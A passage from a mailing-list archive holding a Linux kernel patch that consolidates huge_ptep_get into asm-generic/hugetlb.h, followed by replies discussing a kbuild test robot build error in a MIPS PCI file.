        relay11.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753891AbeGELU1 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 07:20:27 -0400
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay11.mail.gandi.net (Postfix) with ESMTPSA id 93947100003;
        Thu,  5 Jul 2018 11:20:14 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705110716.3919-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812311 gmane.linux.ports.arm.kernel:661002 gmane.linux.ports.ia64:28922 gmane.linux.ports.mips.general:65312 gmane.linux.ports.parisc:28774 gmane.linux.ports.ppc64.devel:159723 gmane.linux.ports.sh.devel:57195 gmane.linux.ports.sparc:28097 gmane.linux.kernel.cross-arch:45046
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812311>

ia64, mips, parisc, powerpc, sh, sparc, x86 architectures use the
same version of huge_ptep_get, so move this generic implementation into
asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb-3level.h | 1 +
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 5 -----
 arch/mips/include/asm/hugetlb.h       | 5 -----
 arch/parisc/include/asm/hugetlb.h     | 5 -----
 arch/powerpc/include/asm/hugetlb.h    | 5 -----
 arch/sh/include/asm/hugetlb.h         | 5 -----
 arch/sparc/include/asm/hugetlb.h      | 5 -----
 arch/x86/include/asm/hugetlb.h        | 5 -----
 include/asm-generic/hugetlb.h         | 7 +++++++
 10 files changed, 9 insertions(+), 35 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index 54e4b097b1f5..0d9f3918fa7e 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -29,6 +29,7 @@
  * ptes.
  * (The valid bit is automatically cleared by set_pte_at for PROT_NONE ptes).
  */
+#define __HAVE_ARCH_HUGE_PTEP_GET
 static inline pte_t huge_ptep_get(pte_t *ptep)
 {
 	pte_t retval = *ptep;
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 80887abcef7f..fb6609875455 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -20,6 +20,7 @@
 
 #include <asm/page.h>
 
+#define __HAVE_ARCH_HUGE_PTEP_GET
 static inline pte_t huge_ptep_get(pte_t *ptep)
 {
 	return READ_ONCE(*ptep);
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index e9b42750fdf5..36cc0396b214 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -27,11 +27,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 120adc3b2ffd..425bb6fc3bda 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -82,11 +82,6 @@ static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 	return changed;
 }
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 165b4e5a6f32..7cb595dcb7d7 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -48,11 +48,6 @@ int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty);
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 658bf7136a3c..33a2d9e3ea9e 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -142,11 +142,6 @@ extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 				      unsigned long addr, pte_t *ptep,
 				      pte_t pte, int dirty);
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index c87195ae0cfa..6f025fe18146 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -32,11 +32,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 	clear_bit(PG_dcache_clean, &page->flags);
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 028a1465fbe7..3963f80d1cb3 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -53,11 +53,6 @@ static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 	return changed;
 }
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 1df8944904c6..c97b34a29054 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -12,11 +12,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-static inline pte_t huge_ptep_get(pte_t *ptep)
-{
-	return *ptep;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index f3c99a03ee83..71d7b77eea50 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -119,4 +119,11 @@ static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_GET
+static inline pte_t huge_ptep_get(pte_t *ptep)
+{
+	return *ptep;
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.drivers.devicetree,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v6 2/4] resource: Use list_head to link sibling resource
Date: Sun, 8 Jul 2018 10:59:46 +0800
Lines: 79
Approved: news@gmane.org
Message-ID: <20180708025946.GI3047@MiWiFi-R3L-srv>
References: <20180704041038.8190-3-bhe@redhat.com>
 <201807042347.hfDcKxmG%fengguang.wu@intel.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1531018682 28101 195.159.176.226 (8 Jul 2018 02:58:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 8 Jul 2018 02:58:02 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org, brijesh.singh-5C7GfCeVMHo@public.gmane.org, thomas.lendacky-5C7GfCeVMHo@public.gmane.org,
 airlied-cv59FeDIM0c@public.gmane.org, linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org, sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org, patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org,
 bp-l3A5Bk7waGM@public.gmane.org, dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org,
 devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org, bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org,
 yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org,
 monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
 linux-kernel
To: kbuild test robot <lkp-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Sun Jul 08 04:57:54 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fbztY-0006zB-Ng
	for gln-linux-nvdimm@m.gmane.org; Sun, 08 Jul 2018 04:57:53 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 4C43E20336ABF;
	Sat,  7 Jul 2018 19:59:58 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 89782202E5303
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Sat,  7 Jul 2018 19:59:57 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx06.intmail.prod.int.rdu2.redhat.com
 [10.11.54.6])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id 1504E406E897;
 Sun,  8 Jul 2018 02:59:56 +0000 (UTC)
Original-Received: from localhost (ovpn-8-16.pek2.redhat.com [10.72.8.16])
 by smtp.corp.redhat.com (Postfix) with ESMTPS id 82C762156889;
 Sun,  8 Jul 2018 02:59:50 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <201807042347.hfDcKxmG%fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.6
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.7]); Sun, 08 Jul 2018 02:59:56 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.7]);
 Sun, 08 Jul 2018 02:59:56 +0000 (UTC) for IP:'10.11.54.6'
 DOMAIN:'int-mx06.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.27
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:10760 gmane.linux.kernel.pci:73822 gmane.linux.kernel.input:61949 gmane.linux.drivers.devicetree:278292 gmane.linux.ports.parisc:28775 gmane.linux.kernel.kexec:21119 gmane.linux.kernel:2814407 gmane.linux.ports.ppc64.devel:159814
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/10760>

Hi,

On 07/05/18 at 01:00am, kbuild test robot wrote:
> Hi Baoquan,
> 
> I love your patch! Yet something to improve:
> 
> [auto build test ERROR on linus/master]
> [also build test ERROR on v4.18-rc3 next-20180704]
> [if your patch is applied to the wrong git tree, please drop us a note to help improve the system]

Thanks for telling. 

I cloned 0day-ci/linut to my local pc.
https://github.com/0day-ci/linux.git

However, I didn't find below branch. And tried to open it in web
broswer, also failed.


> url:    https://github.com/0day-ci/linux/commits/Baoquan-He/resource-Use-list_head-to-link-sibling-resource/20180704-121402
> config: mips-rb532_defconfig (attached as .config)
> compiler: mipsel-linux-gnu-gcc (Debian 7.2.0-11) 7.2.0
> reproduce:
>         wget https://raw.githubusercontent.com/intel/lkp-tests/master/sbin/make.cross -O ~/bin/make.cross
>         chmod +x ~/bin/make.cross
>         # save the attached .config to linux build tree
>         GCC_VERSION=7.2.0 make.cross ARCH=mips 

I did find a old one which is for the old version 5 post.

[bhe@linux]$ git remote -v
0day-ci	https://github.com/0day-ci/linux.git (fetch)
0day-ci	https://github.com/0day-ci/linux.git (push)
[bhe@dhcp-128-28 linux]$ git branch -a| grep Baoquan| grep resource
  remotes/0day-ci/Baoquan-He/resource-Use-list_head-to-link-sibling-resource/20180612-113600

Could you help have a look at this?

Thanks
Baoquan

> 
> All error/warnings (new ones prefixed by >>):
> 
> >> arch/mips/pci/pci-rc32434.c:57:11: error: initialization from incompatible pointer type [-Werror=incompatible-pointer-types]
>      .child = &rc32434_res_pci_mem2
>               ^
>    arch/mips/pci/pci-rc32434.c:57:11: note: (near initialization for 'rc32434_res_pci_mem1.child.next')
> >> arch/mips/pci/pci-rc32434.c:51:47: warning: missing braces around initializer [-Wmissing-braces]
>     static struct resource rc32434_res_pci_mem1 = {
>                                                   ^
>    arch/mips/pci/pci-rc32434.c:60:47: warning: missing braces around initializer [-Wmissing-braces]
>     static struct resource rc32434_res_pci_mem2 = {
>                                                   ^
>    cc1: some warnings being treated as errors
> 
> vim +57 arch/mips/pci/pci-rc32434.c
> 
> 73b4390f Ralf Baechle 2008-07-16  50  
> 73b4390f Ralf Baechle 2008-07-16 @51  static struct resource rc32434_res_pci_mem1 = {
> 73b4390f Ralf Baechle 2008-07-16  52  	.name = "PCI MEM1",
> 73b4390f Ralf Baechle 2008-07-16  53  	.start = 0x50000000,
> 73b4390f Ralf Baechle 2008-07-16  54  	.end = 0x5FFFFFFF,
> 73b4390f Ralf Baechle 2008-07-16  55  	.flags = IORESOURCE_MEM,
> 73b4390f Ralf Baechle 2008-07-16  56  	.sibling = NULL,
> 73b4390f Ralf Baechle 2008-07-16 @57  	.child = &rc32434_res_pci_mem2
> 73b4390f Ralf Baechle 2008-07-16  58  };
> 73b4390f Ralf Baechle 2008-07-16  59  
> 
> :::::: The code at line 57 was first introduced by commit
> :::::: 73b4390fb23456964201abda79f1210fe337d01a [MIPS] Routerboard 532: Support for base system
> 
> :::::: TO: Ralf Baechle <ralf-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>
> :::::: CC: Ralf Baechle <ralf-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>
> 
> ---
> 0-DAY kernel test infrastructure                Open Source Technology Center
> https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

From - Thu Nov 08 21:41:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Andy Shevchenko <andy.shevchenko@gmail.com>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.kernel.pci,gmane.linux.hardware.nvdimm,gmane.linux.kernel.input,gmane.linux.drivers.devicetree,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v6 2/4] resource: Use list_head to link sibling resource
Date: Sun, 8 Jul 2018 20:48:22 +0300
Lines: 58
Approved: news@gmane.org
Message-ID: <CAHp75VcjGQutVtZ90C0huUGCY6yj8H0Wo0tMdrbLmLsRQ+x4XQ@mail.gmail.com>
References: <20180704041038.8190-3-bhe@redhat.com>
 <201807042347.hfDcKxmG%fengguang.wu@intel.com>
 <20180708025946.GI3047@MiWiFi-R3L-srv>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1531071987 20656 195.159.176.226 (8 Jul 2018 17:46:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 8 Jul 2018 17:46:27 +0000 (UTC)
Cc: Nicolas Pitre <nicolas.pitre@linaro.org>, brijesh.singh@amd.com,
 Tom Lendacky <thomas.lendacky@amd.com>, David Airlie <airlied@linux.ie>,
 linux-pci@vger.kernel.org, richard.weiyang@gmail.com,
 Keith Busch <keith.busch@intel.com>, Max Filippov <jcmvbkbc@gmail.com>,
 baiyaowei@cmss.chinamobile.com, Frank Rowand <frowand.list@gmail.com>,
 Thomas Gleixner <tglx@linutronix.de>,
 Lorenzo Pieralisi <lorenzo.pieralisi@arm.com>,
 Stephen Hemminger <sthemmin@microsoft.com>, linux-nvdimm@lists.01.org,
 Patrik Jakobsson <patrik.r.jakobsson@gmail.com>,
 linux-input <linux-input@vger.kernel.org>,
 Gustavo Padovan <gustavo@padovan.org>, Borislav Petkov <bp@suse.de>,
 Dave Young <dyoung@redhat.com>, Vivek Goyal <vgoyal@redhat.com>,
 Eric Biederman <ebiederm@xmission.com>,
 devicetree <devicetree@vger.kernel.org>,
 Haiyang Zhang <haiyangz@microsoft.com>,
 Maarten Lankhorst <maarten.lankhorst@linux.
To: Baoquan He <bhe@redhat.com>
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Sun Jul 08 19:46:19 2018
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from smtp4.osuosl.org ([140.211.166.137] helo=fraxinus.osuosl.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1fcDlL-0005Ac-00
	for glddd-devel@m.gmane.org; Sun, 08 Jul 2018 19:46:19 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by fraxinus.osuosl.org (Postfix) with ESMTP id D176585F85;
	Sun,  8 Jul 2018 17:48:28 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from fraxinus.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id DVJFyPo8BXbo; Sun,  8 Jul 2018 17:48:26 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by fraxinus.osuosl.org (Postfix) with ESMTP id E194985F74;
	Sun,  8 Jul 2018 17:48:26 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from hemlock.osuosl.org (smtp2.osuosl.org [140.211.166.133])
 by ash.osuosl.org (Postfix) with ESMTP id 3514C1C0F8E
 for <devel@linuxdriverproject.org>; Sun,  8 Jul 2018 17:48:25 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by hemlock.osuosl.org (Postfix) with ESMTP id 3134187598
 for <devel@linuxdriverproject.org>; Sun,  8 Jul 2018 17:48:25 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from hemlock.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id 4FCwf2UMS2kY for <devel@linuxdriverproject.org>;
 Sun,  8 Jul 2018 17:48:24 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mail-vk0-f66.google.com (mail-vk0-f66.google.com
 [209.85.213.66])
 by hemlock.osuosl.org (Postfix) with ESMTPS id D76FA8749B
 for <devel@linuxdriverproject.org>; Sun,  8 Jul 2018 17:48:23 +0000 (UTC)
Original-Received: by mail-vk0-f66.google.com with SMTP id y70-v6so6969230vkc.0
 for <devel@linuxdriverproject.org>; Sun, 08 Jul 2018 10:48:23 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=mime-version:in-reply-to:references:from:date:message-id:subject:to
 :cc; bh=/E2L+M0BDMEa8cZlZLqoaZuU/Q2j9/c/NbuYTaTmsyE=;
 b=ZS/n2yxIA44BWM31EbWn91w2RaO+jV8G/uEp9Gkz3kNGQBpGwHHayQhRlly9OFlOpX
 n42ze1uyQ1g77FMdeK+XcFYob+Su26G8F0L55qr0VmJt/jb4QKgJIliFY/SMBE74pVux
 L0DWS3vMCR2651hpiXTr41IlrTW5g6V/0esTymtArv3HTXzAKxnhoZZx44/427PdY9Vh
 kdZq8eRhn/5av6uaGylFRMjQZttg4CtEQF8wkMEfDS1rCHQxqbRdy+X/XjgnflIP83LT
 RHvyaALHS28mWfzAVSMhWI7BldDdbROgwxjifPe1C9TUwqouEmpXpwO3mkcOKn6Zt1KL
 wi4Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:in-reply-to:references:from:date
 :message-id:subject:to:cc;
 bh=/E2L+M0BDMEa8cZlZLqoaZuU/Q2j9/c/NbuYTaTmsyE=;
 b=YROURPdlrUFtCk/427/b/4x7JxSh0rP68VXagTIobz7uEK3iC9F58Fuj4ucKcVtfj8
 fGBXo2VcYzsRvTaqHZw8SnbORcbiQWdQC4+htTZwH1pOFMVaz5g39L2hXGRxzZ/oxmE6
 YwPg5Y6BaSLFhb/kcuozHM7d/tECXSDXpwsAfCfEaZNfwPaNjUPAiF+pv90AqA33bxIO
 7U/zUpTaPJIEJ4YkIGCawNwfmCept6YIRMHwPzS21qgqldRo3ci9/TUlEKHOJxwh6f3T
 F82hk0m9lchvM66aBKkRxBLM8UAHoJq+3ddCf02NgXBVJUVHJX/S/6Rz38HSnMLzfKxS
 uUcA==
X-Gm-Message-State: APt69E19gep6B1OAyxOCJVG1n1jQgk3ZbBDi2Imzm8FpyrkgGom5vjiY
 gt+flT8ewAXfc1JwQD4hvCKWrTKuDus1bSqZ++U=
X-Google-Smtp-Source: AAOMgpc7juc5A5ui5vJvosAmsLbysg5Q8e+uch90ljHrEdnbJvfyufhg/67/fx2deFxpVYVgS8gweDk12koREhb23YU=
X-Received: by 2002:a1f:40cb:: with SMTP id
 n194-v6mr7788553vka.129.1531072102809; 
 Sun, 08 Jul 2018 10:48:22 -0700 (PDT)
Original-Received: by 2002:a67:2149:0:0:0:0:0 with HTTP;
 Sun, 8 Jul 2018 10:48:22 -0700 (PDT)
In-Reply-To: <20180708025946.GI3047@MiWiFi-R3L-srv>
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.24
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:119856 gmane.linux.kernel.pci:73826 gmane.linux.hardware.nvdimm:10763 gmane.linux.kernel.input:61950 gmane.linux.drivers.devicetree:278305 gmane.linux.ports.parisc:28776 gmane.linux.kernel.kexec:21120 gmane.linux.kernel:2814536 gmane.linux.ports.ppc64.devel:159824
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/119856>

On Sun, Jul 8, 2018 at 5:59 AM, Baoquan He <bhe@redhat.com> wrote:
> On 07/05/18 at 01:00am, kbuild test robot wrote:

> However, I didn't find below branch. And tried to open it in web
> broswer, also failed.

While this is kinda valid point...

> Could you help have a look at this?

...isn't obvious that you didn't change the file mentioned in a report?
Just take latest linux-next and you will see.


>> All error/warnings (new ones prefixed by >>):
>>
>> >> arch/mips/pci/pci-rc32434.c:57:11: error: initialization from incompatible pointer type [-Werror=incompatible-pointer-types]
>>      .child = &rc32434_res_pci_mem2
>>               ^
>>    arch/mips/pci/pci-rc32434.c:57:11: note: (near initialization for 'rc32434_res_pci_mem1.child.next')
>> >> arch/mips/pci/pci-rc32434.c:51:47: warning: missing braces around initializer [-Wmissing-braces]
>>     static struct resource rc32434_res_pci_mem1 = {
>>                                                   ^
>>    arch/mips/pci/pci-rc32434.c:60:47: warning: missing braces around initializer [-Wmissing-braces]
>>     static struct resource rc32434_res_pci_mem2 = {
>>                                                   ^
>>    cc1: some warnings being treated as errors
>>
>> vim +57 arch/mips/pci/pci-rc32434.c
>>
>> 73b4390f Ralf Baechle 2008-07-16  50
>> 73b4390f Ralf Baechle 2008-07-16 @51  static struct resource rc32434_res_pci_mem1 = {
>> 73b4390f Ralf Baechle 2008-07-16  52          .name = "PCI MEM1",
>> 73b4390f Ralf Baechle 2008-07-16  53          .start = 0x50000000,
>> 73b4390f Ralf Baechle 2008-07-16  54          .end = 0x5FFFFFFF,
>> 73b4390f Ralf Baechle 2008-07-16  55          .flags = IORESOURCE_MEM,
>> 73b4390f Ralf Baechle 2008-07-16  56          .sibling = NULL,
>> 73b4390f Ralf Baechle 2008-07-16 @57          .child = &rc32434_res_pci_mem2
>> 73b4390f Ralf Baechle 2008-07-16  58  };
>> 73b4390f Ralf Baechle 2008-07-16  59
>>
>> :::::: The code at line 57 was first introduced by commit
